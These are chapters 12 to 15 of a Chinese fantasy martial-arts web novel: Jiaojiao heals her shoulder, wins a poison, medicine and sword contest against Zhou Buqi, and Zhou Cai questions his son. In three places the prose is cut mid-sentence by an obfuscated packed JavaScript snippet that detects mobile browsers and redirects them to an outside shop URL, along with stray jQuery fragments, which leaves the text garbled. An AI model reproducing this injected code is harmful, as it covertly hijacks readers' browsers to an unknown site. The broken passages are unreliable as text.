她深吸一口气,盘膝坐好。 右手缓缓抬起,覆在左肩上。掌心泛起一层淡淡的绿光。 那绿光和之前她用毒粉、用药丸时的任何一次都不一样。 不是那种刺鼻的、带着杀意的颜色,而是一种极淡的、极柔和的绿,像春天刚化冻的溪水底下映着的新草,像雨后的山林里透过树叶漏下来的光。 它从她掌心渗出来的时候,整个房间都安静了。 或者说,是被安抚了。 绿光渗进她的左肩,渗进碎裂的骨头里。 姣姣的表情变了。 之前她一直在忍,咬着牙,绷着脸,额头的汗一颗一颗往下滚。 但现在,她的眉头松开了。 不是强撑出来的轻松,是真的不疼了。 那绿光像是在她身体里化开了,从骨头缝里淌进去,流淌过四肢百骸。 碎骨在光里缓缓移动,往原来的位置靠拢。 但没有任何疼痛。 姣姣甚至闭上了眼睛。 她的呼吸变得很轻很慢,脸上那层苍白的颜色渐渐退下去,取而代之的是一种安然的、近乎舒适的神情。 光晕在她指缝间流淌,照得她的手指几乎是透明的。 姜亦和闻人奚郁推开门的时候,看见的就是这一幕。 姣姣盘膝坐在床上,右手覆在左肩上,掌心泛着淡淡的绿光。 那光芒很柔和,不刺眼,却让人移不开目光。 近乎神性的气质。 姜亦站在门口,整个人愣住了。 他的目光落在姣姣掌心那团绿光上。那光芒很淡,却有一种说不清的力量。 不是法力,不是内力,是一种他从来没见过的东西。它不压迫,不震慑,却让整个房间都安静了下来。 连空气都变得柔软了。 闻人奚郁站在他身后,折扇收在手里,脸上的笑容不见了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜亦站在窗边,看着窗外。 他的手指按在剑柄上,按得很紧,但什么都没说。 闻人奚郁走到他身边,轻轻拍了拍他的肩膀:“走吧,让她休息。” 姜亦沉默了一瞬,转身往外走。走到门口,他忽然停下来,没有回头。 “好好养着。” 说完,他推门出去。 闻人奚郁跟在后面,走到门口时,回头看了姣姣一眼。 “好好休息。” 姣姣冲他们挥了挥手。 “知道了知道了,你们快走吧,我要睡觉了。” 门关上。 姣姣躺在床上,看着帐顶。 左肩还隐隐有些胀,但比刚才好多了。 她笑了笑,闭上眼睛。 隔壁房间,姜亦坐在窗边,看着窗外的月色。闻人奚郁坐在桌旁,慢条斯理地斟茶。 “那个绿光,”姜亦忽然开口,“你看见了。” 闻人奚郁没说话。 “那不是五道四重能有的东西。”姜亦的声音很低,“哪怕是南水主亲授。” 闻人奚郁把一杯茶推到他手边。“嗯。” 姜亦转过身,看着他。“她到底是谁?” 闻人奚郁端起自己的茶杯,抿了一口。“你信她吗?” 姜亦沉默了一会儿。“信。” “那就够了。”闻人奚郁放下茶杯,站起来,走到窗边,和他并肩站着。 姜亦没说话。 他看着窗外的月亮,看了很久。 “谋士,”他忽然开口,“你信她吗?” 闻人奚郁没有回答。 他只是笑了笑,那笑容很淡,和平时那种笑眯眯的样子不一样。 “睡吧。”他说,“明天还要查案。” 他转身,走到自己的床铺边,躺下。姜亦站在窗边,又站了很久,才转身躺下。 隔壁房间,姣姣已经睡着了。她的呼吸很轻很匀,左肩上的伤在绿光中慢慢愈合着,那团光早就熄了,但骨头上还残留着淡淡的温度,温温的,软软的。 奕秋盘膝坐在榻上,闭目调息。她的剑横在膝上,剑身在月光下泛着冷冷的光。她的呼吸很轻,很稳,但嘴角微微弯了一下。 窗外,月亮升到最高处。 月光洒下来,落在客栈的屋顶上,落在狼藉的大堂里,落在姣姣床头那碗已经凉了的茶水上。 很安静。 像暴风雨来临前的那种安静。 13. 意气风发摆擂来 姣姣养了几天伤,左肩终于能活动了。 说是“能活动”,其实也就是能抬起来够到碗筷,再往上还是疼。 她倒是不急,每天趴在窗台上看街上的行人,嗑瓜子,喝闻人奚郁泡的茶,日子过得比受伤前还舒坦。 这天早上,她难得没有赖床。 下楼的时候,大堂里已经收拾过了。 被砸碎的桌椅换了新的,柱子上的剑痕也修补过,只是漆色不太一样,远看像一道疤。 老板娘站在柜台后面算账,听见脚步声抬起头,看见姣姣,脸上堆起笑:“姑娘醒了?今天气色不错。” 姣姣活动了一下左肩,笑嘻嘻地说:“老板娘,前几天的损失,我们赔的钱够不够?” “够了够了。”老板娘连忙摆手,“闻人公子给的那锭银子,别说修桌椅,把店重新翻修一遍都够了。” 姣姣“哦”了一声,心想闻人奚郁出手可真大方。 她回头看了一眼楼梯,那三个人还没下来。她找了张靠窗的桌子坐下,给自己倒了杯茶。 茶是温的,老板娘特意给她们留的。 刚喝了一口,姜亦就从楼上下来了。 他今天穿了件深青色的劲装,左耳的麒麟坠在晨光里晃了一下。 他走到桌边坐下,看了姣姣一眼,目光在她左肩上停了一瞬。 “好了?” “差不多了。”姣姣活动了一下肩膀,“就是还有点酸。” 姜亦点了点头,没再问。 闻人奚郁跟在后面下来,手里还是那把折扇,今天换了件月白色的衣裳,衬得他整个人温润如玉。 他在姣姣对面坐下,笑着问:“想吃什么?” “包子。”姣姣眼睛亮了,“肉包子,要那种皮薄馅大的。” 闻人奚郁笑着招手叫老板娘点吃的。 奕秋最后一个下来。 白衣如雪,发髻一丝不苟,腰间的无尘剑随着步伐轻轻晃动。 她在姣姣身边坐下,看了她一眼。 姣姣冲她咧嘴一笑:“小姐,早。” 奕秋没说话,只是伸手在她左肩上轻轻按了一下。 姣姣“嘶”了一声,缩了缩肩膀:“还有点疼。” 奕秋收回手,淡淡地说:“再养三天。” 老板娘端着热腾腾的包子和粥上来,又添了几碟小菜。 姣姣抓起一个包子咬了一口,汁水顺着嘴角流下来,她含糊不清地说:“好吃。” 姜亦慢条斯理地喝着粥,看了她一眼,嘴角微微动了一下。 闻人奚郁给奕秋倒了杯茶,推到她面前。奕秋点了点头,算是谢过。 四个人安安静静地吃着早饭。 晨光从窗户照进来,落在桌面上,暖洋洋的。 姣姣啃完第二个包子,正要伸手去拿第三个,忽然听见街上传来一阵喧哗。 “周小公子摆擂啦——!” “毒术医术剑术,三局两胜,赢了的赏金百两!” “快去快去,晚了挤不进去!” 姣姣的手停在半空,扭头看向窗外。街上的人正往同一个方向涌,像是赶集似的。 “周小公子?”她眨眨眼,“谁啊?” 姜亦放下粥碗:“周不弃。周财的独子。” 姣姣“哦”了一声,收回手继续啃包子:“他很有名?” “原终年轻一辈第一人。”姜亦的语气淡淡的,听不出什么情绪,“马上要入尊界的天才。” 姣姣嚼着包子,含糊不清地说:“听起来挺厉害的。” 闻人奚郁摇着折扇,笑眯眯地说:“姣姣姑娘不想去见识见识?” 姣姣看了他一眼,又看了看奕秋。 奕秋端着茶杯,脸上没什么表情。 “去看看呗。”姣姣把最后一口包子塞进嘴里,站起来,“反正闲着也是闲着。” 姜亦没说话,但已经站了起来。闻人奚郁摇着折扇跟在后面。奕秋最后一个起身,步伐不紧不慢。 老板娘在后面喊:“姑娘,你的包子——!” 姣姣回头冲她摆摆手:“给我留着,回来吃!” * 摘星楼前的长街,今日格外热闹。 场地中央摆着一张长案,案上放着几十味药材、瓶瓶罐罐、几套银针。 里三层外三层围满了人,都在伸长脖子往里看。 姣姣个子不高,踮着脚也看不见。她也不急,就在人群外面站着,听里面的人喊。 “周小公子这是又手痒了!” “上次那个挑战的,输成什么了!” “那可不,听说回去哭了三天。” 姣姣听见这些话,忍不住笑了一声。她踮起脚往里看了一眼,还是没看见人。 姜亦站在她身后,个子高,一眼就看见了里面的情形。 “十七八岁,玄色劲装,腰悬长剑。”他低声说,“长得不错,有点傲。” 姣姣仰头看他:“你这是在夸他?” 姜亦没理她。 闻人奚郁在旁边轻笑:“姜亦看人一向准。” 人群忽然自动让开一条道。 不是因为她,是因为他们四个人往这儿走了。 “是他们!” “谁?” “就前几天查案那几个!” 有个人指着姜亦。 “卧槽我想起来了!那个墨绿衣服的!那天在摘星楼一个人挑了十几个五道!” “十几个?!你吹呢吧?” “吹什么吹!我亲眼看见的!一剑一个,跟砍瓜切菜似的!” “那得是什么境界……” “应该是尊界吧?不然哪能一个人打十几个五道?” “嘶——尊界?!” 又有人看向奕秋。 “那个白衣服的!我也想起来了!城西巷子口,听说她就说了一个字,定住了七八个五道高手!” “一个字定住七八个?!什么功法?” “不是功法,是东夷卦术!言出法随!那可是步入尊界的卦修才能用的招数。” “卧槽……东夷人这么厉害的吗?不是说他们只会跳大神?” “跳大神能定住五道高手?去你的吧。” 又有人很激动。 “那个红衣服的!年纪最小的那个!” “她怎么了?” “千金阁!她一个人挑了千金阁六个五道!还赌赢了好多银子!” “赌赢银子?那是赢了多少钱?” “滚吧你,就知道钱!” 有人问了一句。 “那个紫衣服的呢?” 人群的目光落在闻人奚郁身上,上下打量。 “这个……好像没见过他出手。” “听说是个谋士,不会武功。” “不会武功?” “嗯,就负责出主意的。” “啧,有点拉低组合啊。” “看起来好弱。” “嘘——小声点。” 闻人奚郁依旧笑眯眯的,摇着折扇,仿佛那些议论跟他没关系。 姣姣听见最后那几句,忍不住笑出声。她回头看了闻人奚郁一眼。 闻人奚郁冲她眨眨眼,一脸无辜。 姣姣笑得更开了。 四个人穿过人群,走到最前面。 姣姣终于看清了场中的情形。 长案后面站着一个少年,十七八岁,玄色劲装,腰悬长剑,生得清俊,眉宇间带着世家子弟惯有的傲气。 他扫了一眼围观的人群,朗声道:“今日摆擂,三局两胜。毒术、医术、剑术,随便你们挑。赢了,赏金百两。” 他顿了顿,嘴角微微扬起:“输了,喊我一声‘周小公子厉害’,就行。” 人群里响起一阵哄笑。 姣姣也笑了。 她心想,这人挺有意思。 周不弃的目光在人群里扫过。 “谁来?” 没人应声。 他挑了挑眉,又问了一遍:“谁来跟我比?” 还是没人。 他叹了口气,正要再说点什么,人群外忽然传来一个懒洋洋的声音:“我来跟你比。” 周不弃顺着声音看过去。人群自动让开一条道,一个红衫少女走了进来。 她看起来十五六岁,衣衫随意,腰间挂满香囊,走路的姿态懒懒散散的,像是饭后散步。 但是左肩动作比右肩慢半拍,像是有伤。 周不弃的目光在她左肩上停了一瞬,然后移到她脸上。 “你?”他上下打量她一眼,“你跟我比?” “对呀。”姣姣打了个哈欠,“怎么,不行?” 周不弃眉头微皱。 这姑娘看起来比他小一两岁,懒懒散散的,不像什么高手。 但他没有掉以轻心——能一个人挑千金阁六个人的,不会是普通人。 而且她那个肩膀…… 他认出来了。 前几天周管家带人去客栈闹事,回来的时候脸色惨白,说有个红衣服的姑娘挨了尊界二重一掌,骨头碎了,愣是没倒。 他爹在书房坐了一夜。 周不弃没问细节,但他记住了——红衣服,十五六岁,左肩受过伤。 “你那肩膀?”他问。 姣姣愣了一下,然后笑了。“不碍事,来就行。” 周不弃没再问。 “比什么?”他问。 “你不是三局吗?”姣姣掰着手指,“毒术、医术、剑术。都行。” 周不弃挑了挑眉。 “口气不小。” 他转身走到长案前,指了指案上的药材,“第一场,制毒。半个时辰内,做出你最强的毒。谁的效果厉害,谁赢。” 姣姣走过去,在他对面站定。 姜亦、奕秋、闻人奚郁三人退到人群边缘。 闻人奚郁摇着折扇,笑眯眯地问:“你们说姣姣姑娘能赢吗?” 姜亦想了想,斟酌着说:“不一定。毒医两术,周不弃很厉害。剑术……姣姣姑娘会用剑?”他语气里带着一丝不确定。 闻人奚郁笑了笑,看向奕秋。 奕秋没有说话,目光落在姣姣身上。 姜亦顺着奕秋的目光看过去——姣姣正站在长案前,随手拨弄着那些药材,像是在挑点心。 姜亦收回目光,没说什么。 场上,周不弃已经开始动手。 他动作极快,挑拣、研磨、调配,行云流水,一气呵成。 那些药材在他手中像是活了,转眼间就变成一小撮深褐色的粉末。 围观的人群看得目不转睛。 “好快!” “这手法,绝了!” “周小公子不愧是周小公子!” 一炷香后,周不弃收手。 他端起那个瓷碗,走到街边一块空地上,将粉末轻轻撒在草地上。 三息之后,那片草地以肉眼可见的速度枯萎。翠绿的草叶迅速变黄、干枯、腐烂,最后化成一滩黑水。黑水蔓延,所过之处,寸草不生。 人群爆发出惊呼。 “我的天……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437477|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这是什么毒?!这么厉害!” “周小公子这毒,怕是南水的那些毒医也比不上!” 周不弃回头看向姣姣,嘴角微微扬起。 “该你了。” 姣姣点点头。 她走到长案前,开始动手。但她的动作和周不弃完全不一样——很慢。慢得像是第一次碰这些药材。 挑一味药,看一看,闻一闻,放回去。再挑一味,又看一看,闻一闻,放回去。 “她在干什么?”有人小声问。“不知道……感觉不太会的样子。” 周不弃看得眉头直皱:“你在磨蹭什么?” 姣姣头也不抬:“急什么,这不是半个时辰吗?” 周不弃:“……” 一炷香过去。 两柱香过去。 姣姣终于开始研磨,但她磨得也很慢,慢得像是老太太推磨。 围观的人群开始不耐烦了。 “这姑娘行不行啊?” “磨蹭半天了,能做出什么来?” “不会是来凑数的吧?” 周不弃的嘴角已经快压不住了。 快三柱香的时候,姣姣终于收手。 她面前摆着一个小瓷瓶,瓶里是淡红色的粉末。她拿起瓷瓶,看向摘星楼门口那根三人合抱的金丝楠木柱。 所有人都愣住了。 “她……她要干什么?” 姣姣没理他们。她回头看了一眼人群边缘。 姜亦负手而立,微微颔首。 奕秋依旧站在原地,白衣如雪。 姣姣收回目光,右手腕一翻—— 淡红色的粉末裹挟着内力呼啸而出,猛然撞在那根大木柱上。 轰——!!! 那根三人合抱、高逾三丈的金丝楠木巨柱,从被红雾击中的地方开始,瞬间被侵蚀。不是燃烧,不是碎裂,是“消失”。 红雾所过之处,木头化为飞灰,簌簌落下。 整根柱子,从中间断成两截。 轰隆——!!! 上半截砸下来,尘土飞扬。 人群尖叫着四散奔逃。 就在那上千斤重的半截巨柱即将砸到人的瞬间。 一道剑光亮起。 姜亦不知何时已经落在街心,长剑出鞘。 他没有硬接,而是手腕一转,剑气化作一道柔和的屏障,稳稳托住落下的巨柱。巨柱悬在半空,离地面只有三尺。 姜亦持剑而立,气息平稳,左耳的麒麟坠轻轻晃动。 “退后。” 他淡淡道。 人群愣了一下,然后疯狂往后退。 与此同时,奕秋动了。 她依旧站在原地,一步未移。但她抬起了右手,食指与中指并拢,轻轻点在虚空之中。 “定。” 就一个字。 但那个字落下的瞬间,整座摘星楼,九层之高,静止了。 不是比喻,是真正的“静止”。那即将被巨柱砸中的檐角,停在半空。 那正在往下掉落的瓦片,悬在半空。那根断裂的巨柱掀起的狂风,定格在半空。 所有的一切,像是被一只无形的手按下了暂停键。 只有那个白衣女子,依旧站在原地,指尖点在虚空中,神情淡然得像是只是随手拂去了一粒尘埃。 人群安静了一瞬,然后炸开。 “我操——!!!” “柱子!柱子塌了!” “那个红衣服的疯了吧!!” “那个墨绿衣服的!他托住了!!上千斤的柱子他托住了!!” “我就说吧!他肯定是尊界!” “尊界!真的是尊界!” “不对不对,你们看楼!楼怎么不动了?!” “是卦术!那个白衣女子用了卦术!” “一个字!!她就说了一个字!!摘星楼都不动了!!” “一个字定住一栋楼?!这他妈是什么境界?!” “言出法随……这是尊界才能使出的言出法随!!” “我滴个乖乖……东夷人这么厉害的吗……” “那个红衣服的,她是想把我们都毒死吗!!” “疯子!真是个疯子!” “那个紫衣的呢?” 人群的目光又落在闻人奚郁身上。他依旧站在人群边缘,摇着折扇,笑眯眯地看着这一幕。从头到尾,一步都没动。 “他……他好像什么都没干?” “废话,他不会武功,能干什么?” “那他站那儿干嘛?” “看热闹呗。” 闻人奚郁听见这话,笑得眼睛都弯了。他冲那些人挥了挥折扇,像是在打招呼。 尘埃渐散。 姜亦收剑,那半截巨柱稳稳落在地上,发出一声闷响。 奕秋收回手指,那无形的束缚悄然散去。 摘星楼微微一颤,像是刚从梦里醒来。 姣姣站在原地,拍了拍手上的灰,回头看向周不弃。 周不弃站在原地,愣愣地看着那根断成两截的柱子,又看看自己面前那片枯萎的草地,一时间说不出话来。 他那片草地,枯萎了方圆三尺。 她的那根柱子……整根塌了。 “你……”他开口,声音有些干涩,“你这毒……” “比你厉害点。”姣姣笑眯眯地说。 周不弃深吸一口气。 “第二场。医术。” 姣姣歪头看他:“还比?” “比。” 14. 垂眸剑指眼前人 周不弃从怀里取出另一个布袋,打开,里面是十几味药材。 他动作依旧很快,挑拣、研磨、熬制,一气呵成。 不到一炷香的功夫,他面前摆着一个小瓷瓶,瓶里是乳白色的药膏。 “回春膏。”他说,“促进伤口愈合,生肌止血。” 他抬头看向姣姣,眼里带着一丝挑衅。“该你了。” 姣姣没动。 她就站在原地,笑眯眯地看着他。 周不弃皱眉:“你为什么不做?” “等你啊。” “等我?” “等你做完,我再做。” 姣姣理直气壮。 “不然你做那么快,我压力多大。” 周不弃:“……” 旁边围观的群众忍不住笑出声。 “这姑娘嘴上功夫真是厉害,哎呦哈哈哈哈。” 周不弃深吸一口气。 姣姣走过去,端起瓷瓶递给旁边一个看热闹的小贩。 “尝尝。” 小贩愣住了,接过瓷瓶,小心翼翼倒了一点在指尖,舔了舔。 “苦。”他皱着脸说,“特别苦。” 周不弃点点头,看向姣姣。 “你干什么?” “一会儿你就知道了。” “让你长长见识。” 姣姣笑嘻嘻的说。 周不弃眉头紧皱:“好大的口气。” 姣姣慢悠悠地开始动手。 挑拣、研磨、熬制——动作漫不经心,但没有那么慢了。 和周不弃精心量取的药材不一样,姣姣随手一抓,直接放进去,但懂毒医的人都能看出来,那是极其精准的剂量。 一盏茶后,她面前摆着一个小瓷瓶,瓶里是淡金色的药膏。 她拿起瓷瓶,递给周不弃。 “尝尝。” 周不弃愣了一下。“我?” “怎么,怕我下毒啊?”姣姣笑眯眯的,“你不是说,什么毒你都能解吗?” 周不弃脸色变了变,盯着姣姣看了两息,然后接过瓷瓶,倒了一点在指尖,放进嘴里。 然后他愣住了。 甜的。 不是那种发腻的甜,是淡淡的、清凉的甜,像是雨后青草的香气,又像是山间泉水的感觉。 他下意识又舔了一口。 还是甜的。 “你……”他抬起头,“你这怎么是甜的?” “甜怎么了?”姣姣眨眨眼,“甜就不能有药效?” “回春膏的方子我练过三千遍,每一味药都是苦的,怎么可能做出甜的?” “那是你。”姣姣说,“你又不知道我用的什么方子。” 周不弃沉默了。 他看着手里的瓷瓶,又看看对面那个笑眯眯的少女,忽然问:“你这药效,比我那个如何?” 姣姣想了想。 “要不你找个人,把腿打断,咱俩比比谁恢复得快?” 周不弃:“……” 旁边围观的人群笑成一片。 “这小姑娘的嘴真是不饶人啊哈哈哈。” 周不弃深吸一口气,把瓷瓶收起来。“第三场。剑术。” 姣姣眨眨眼:“还比?” “比。” “你我都是近尊,切磋起来自然是不相上下,对剑术提升有很大帮助。” 周不弃拔剑出鞘。 剑身修长,寒光凛冽。 然后他看向姣姣腰间。 腰肢纤细,没有佩戴任何武器。 “你的剑呢?” 姣姣摊开手:“我没剑。” 周不弃愣了一下,然后皱眉。 “你没剑,怎么比?” “我用拳脚就好了。”姣姣掰了掰拳头,活动了一下,笑着又道,“毕竟我已经很久没用过剑了。” 周不弃盯着她看了两息。“你怕了?” 姣姣没有立刻回答。 她站在那里,看着周不弃。 “哟呵。” 姣姣的眼神变了。 不是生气,不是好笑,是一种很淡的东西,淡得像这个眼神中间,隔了一千年。 她就那么看了他一眼。 然后笑了。 然后姣姣扭头看向人群边缘。 “姜大侠,接你剑用一用。” 姜亦站在人群里,闻言微微挑眉。 “你会用剑?”他问。 姣姣眨眨眼,想了想说:“略懂,你且看吧。” 姜亦看着她,没说话。 他拔出腰间长剑,手腕一抖—— 剑身化作一道流光,直直飞向姣姣。 “你小心点,”他开口,“我这剑锋利……” 话没说完。 剑落在姣姣手中。 就在剑柄落入掌心的那一瞬间—— 那懒懒散散的红衫少女,气质变了。 在握住剑的刹那,她手腕轻轻一转,剑身斜指地面。只见她手腕又一转,另一只手抬起,两指轻轻搭在剑身中段。腰微微下沉,肩膀放松,整个人像是与剑融为一体。 那只是一个起手式。 好看得让人移不开眼。 不是那种“招式漂亮”的好看,是那种“本该如此”的好看。 仿佛剑天生就该在她手里,仿佛她天生就该这样站着。 剑身在她手中微微震颤,发出低沉的嗡鸣,像是在回应什么。 姜亦愣住了。 这么多年,自己都从来没有和自己的本命剑这般契合。 姣姣微微侧身,剑锋在阳光下划出一道极淡的弧线。 那一瞬间,她整个人像是被光镀了一层边,红衣如火,眉眼沉静,与刚才那个懒散的少女判若两人。 姜亦后半句话卡在喉咙里,再也说不出来。 那种气韵,那种浑然天成的剑意,他从来没有见过,哪怕是他读过的所有剑谱上,都没有见到过。 闻人奚郁手中的折扇停住了。 他眯起眼,看着姣姣的背影。 奕秋依旧站在原地,眼中含有一丝笑意。 姣姣自己似乎也愣住了。 她低头看着手里的剑,看着自己摆出的那个姿势,眼底有什么东西闪过,但谁都没有看清。 然后姣姣又笑了。 下一秒,她手腕一翻。 挽了一个剑花。 剑光如水,在空中划出一道完美的弧线。 嗡—— 剑鸣声骤然清亮。 那一剑花,随意、洒脱、肆意。每一寸剑锋的走向都精准到极致,却又浑然天成,像是刻在骨头里的东西。 周不弃站在对面,握着剑的手,微微发紧。 他忽然有一种奇怪的感觉。 这个拿剑的姿势……他没见过。 不是原终的剑法,不是北疆的路子,也不是南水的风格。 但偏偏,让人移不开眼。 他深吸一口气,持剑而立。 “来吧。” 姣姣点点头。 她没有再摆出什么架势,只是随意地站着,剑尖斜指地面,整个人看起来又恢复了那副懒懒散散的样子。 周不弃不再多想,一剑刺出。 剑光凌厉,带着半步尊界的全力一击,直奔姣姣面门。 姣姣侧身,躲开。 周不弃第二剑紧随而至。 她又躲开。 第三剑,第四剑,第五剑—— 剑光如织,一剑快过一剑。周不弃的剑法确实厉害,凌厉、精准、狠辣,每一剑都奔着要害去。 但姣姣一直在躲。 她躲得轻飘飘的,像是在散步。每一步都刚好踩在剑光落下的缝隙里,每一次转身都刚好避过剑锋。 十招过去。 二十招过去。 三十招过去。 周不弃越打越急。 明明感觉下一剑就能刺中,但每次都是差之毫厘。 “你就只会躲吗?”他咬牙。 姣姣笑了。 “你觉得我在躲?” 剑光乍起。 那一剑,没有任何花哨,只是平平无奇地刺出。 周不弃根本来不及反应,只觉得眼前一花,胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437478|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口一阵剧痛—— 整个人已经飞了出去。 砰——! 他砸在街边的摊位上,木屑纷飞。 全场死寂。 姣姣收剑,站在原地,气息平稳得像什么都没发生过。 她看向周不弃,忽然说:“你剑法不错,但有个毛病。” 周不弃挣扎着爬起来,捂着胸口,脸色复杂。 “什么毛病?” “出剑的时候,你太急,手腕不稳,”姣姣说,“这样速度是快了,但收剑会慢半拍。” 她顿了顿,像是想到了什么,神情有些恍惚。 但下一秒,嘴角反向上扬起一个弧度。 “下次试试,手腕再沉一点,会更快。” 周不弃愣住了。 他站在那里,看着姣姣,一时间说不出话。 围观的人群终于回过神来,爆发出惊呼和掌声。 “卧槽!一剑!” “就一剑?!” “周小公子被打飞了?!” “那姑娘到底是什么人啊?!” “那姑娘是个五道四重……但那一剑,怎么感觉不止五道四重……” 姜亦忽然问:“你刚刚,是哪一本剑谱上的剑法?” 有人看向姣姣。 姣姣眨眨眼,回过神来。 “剑谱?”她咧嘴一笑,“没有剑谱。我自己随便顺手,就做出来了。” 说完,她把剑抛还给姜亦。 “姜大侠,谢啦。” 姜亦接过剑,低头看着剑身,又看了看她。 那个起手式…… 他沉默了一瞬,终究什么都没问。 周不弃站在那里,看着姣姣,眼神复杂。 然后他深吸一口气,抱拳行礼。 “我输了。” 他顿了顿,压低声音: “今晚子时,周府后门。我告诉你你想知道的事。” 说完,他转身就走。 那两个随从连忙跟上去。 “小公子,小公子您没事吧?” “闭嘴。” 人群渐渐散去。 姣姣走回三人身边,伸了个懒腰。 “累死我了。” 闻人奚郁摇着折扇,笑眯眯地看着她。 “姣姣姑娘,你这略懂,可真是谦虚。” 姣姣眨眨眼:“怎么,不行吗?” 闻人奚郁笑了笑,没再说话。 姜亦站在一旁,目光落在姣姣身上,眼底有一丝探究。 但终究什么都没说。 奕秋依旧站在原地,白衣如雪。 她看了姣姣一眼。 那一眼很短,但姣姣看见了。 她冲奕秋眨了眨眼。 奕秋收回目光,什么都没说。 但她的嘴角,微微弯了一下。 日头偏西。 四人并肩走出长街。 身后,摘星楼前的长街上,人群还在议论纷纷。 “那个红衣服的姑娘,到底是什么人啊?” “肩膀有伤还这么厉害。” “不知道……但肯定不简单。” “那个起手式,你看见了吗?太好看了!” “看见了!我这辈子没见过那么好看的起手式!” “还有那个剑花,我的天……” “她说什么自己随便顺手的,骗鬼呢!” “那绝对是失传的剑法!” “那个墨绿衣服的,一剑托千斤!尊界!” “白衣那个更离谱,一个字定住一栋楼!” “言出法随……我今天算是开眼了。” “那个紫衣服的呢?” 人群的目光落在闻人奚郁远去的背影上。 “他……好像真的什么都没干?” “就站在那儿摇扇子。” “不过长得挺好看的。” “好看有什么用?又不能打。” “……” 议论声中,四道身影消失在长街尽头。 风拂过长街,吹动摘星楼檐角的铜铃,叮当作响。 15. 月下深谈旧年事 周府的书房亮着灯。 周财坐在太师椅上,面前的茶又凉了。他今晚没碰过那盏茶,一口都没有。手边的账册翻开在第一页,但他一个字都没看进去。 他在等。 门被推开。 周不弃走进来,玄色劲装上还沾着摘星楼前的灰,左肩的衣料被剑气划了一道口子。 他的脸色不太好,但不是受伤的那种不好,是那种输了之后还没想明白的不好。 周财抬头看他。 “干什么去了?” 周不弃没答。 他走到桌边,给自己倒了杯茶,一口气喝完,然后放下茶杯,看着他父亲。 “那个红衣服的,”他说,“很厉害。我打不过她。” 周财的手指在桌面上停了一瞬。 他看着自己的儿子。 这个十七岁的少年,原终年轻一辈第一人,整个皇城里能排进前五,这两年就能入尊界。 十七岁的近尊,放在整个四域都是顶尖的天才。 他从来没听周不弃说过“我打不过谁”。 “她用了什么毒?” 周财问。 “没比毒。”周不弃摇头,“第一场比毒,她的粉末炸了摘星楼门口那根柱子。” 周财一愣。 “第二场比医术,她做的回春膏是甜的。” 周财顿了顿,咽下一口茶。 “第三场,比的是剑术…” 周财看着他。 “比剑怎么了?” 周不弃沉默了很久。 “她的剑法,没有任何路子,很野。野得像是在山里自己练出来的,每一招都不在章法里,但又很有章法。” “不是那种死板的章法,是她自己的。她出剑的角度、力度、时机,全部恰到好处。” “我从来没有见过这种剑法。” 周财的眉头皱起来。 这个姑娘会用剑? 他只知道她会下毒,会医术,会打架,没想到她还会用剑。 “还有她的起手式,”周不弃的声音忽然轻了一些,像是在描述一件他自己也不太确定的事,“很美,很潇洒。不是那种招式的美,是她站在那里,剑在她手里,就应该是那个样子。” “……我自愧不如。” 他低下头,看着自己的手。那双手握了十几年剑,从来没有抖过。但今天,姣姣一剑刺过来的时候,他的手抖了。 他找不到词来形容。 周财看着自己的儿子,那个一直傲视群雄的年轻人。 还有那句“自愧不如”。 周财看着他的儿子,沉默了很久。 然后他问:“她左肩的伤,好了?” 周不弃抬起头,愣了一下。 “看上去好了很多,能活动了。” 周财的眉头皱得更紧了。 “才三天,就能活动?” “她的医术确实了得。” 周不弃说。 周财靠回椅背,手指轻轻敲着桌面。“这个姑娘,绝对是南水某个很厉害的毒医。不是普通的那种,是能进南水核心的那种。” 他顿了顿。 “或许。” “她是花归鸢的人。” 周不弃停住了,没接话。 他站在桌边,看着那盏凉透的茶,不知道在想什么。 周财忽然问:“她那个起手式,你记住了吗?” 周不弃摇头。 “记不住。” “但也忘不掉。” 周财看着他的儿子。这个十七岁的少年,从来不会说“忘不掉”这种话。 “去睡吧。”周财说。 周不弃点了点头,转身往外走。走到门口,他忽然停下来,没有回头。 “爹。” “嗯。” “她那个人……不像坏人。” 门关上了。 周财坐在太师椅上,看着那扇关上的门,他的手指还在敲桌面,一下,一下。 不像坏人。 他重复了一遍这四个字,忽然笑了一下。那笑容很苦,很涩,像是在嚼一颗没熟的柿子。 “这世上,哪有那么多好人坏人。”他自言自语,声音很轻,轻得只有他自己能听见。 窗外的月光照进来,落在他脸上。 那张脸比几天前又老了一些。他低下头,继续看账册。 第一页还是没看进去。 * 日头升到最高处的时候,摘星楼九楼的雅厢里,四个人围坐在一张花梨木大圆桌前。 这个包厢是整个摘星楼最贵的一间。 墙上挂着前朝名家的真迹,角落里摆着一盆半人高的珊瑚,窗纱是南水进贡的云罗纱,日光透过纱帘落进来,在桌面上铺开一层柔和的暖金色。 闻人奚郁今日穿了一件淡青色的长衫,发带也是同色的,衬得他整个人温润如玉。他坐在靠窗的位置,折扇收在手里,正笑眯眯地看着菜牌。 “姣姣姑娘大病初愈,自然要吃点好的。”他把菜牌递给小二,“这些,都来一份。” 小二接过菜牌,手都在抖。 这一桌菜花的银子,够普通人家吃好几年。 姣姣的眼睛亮了。 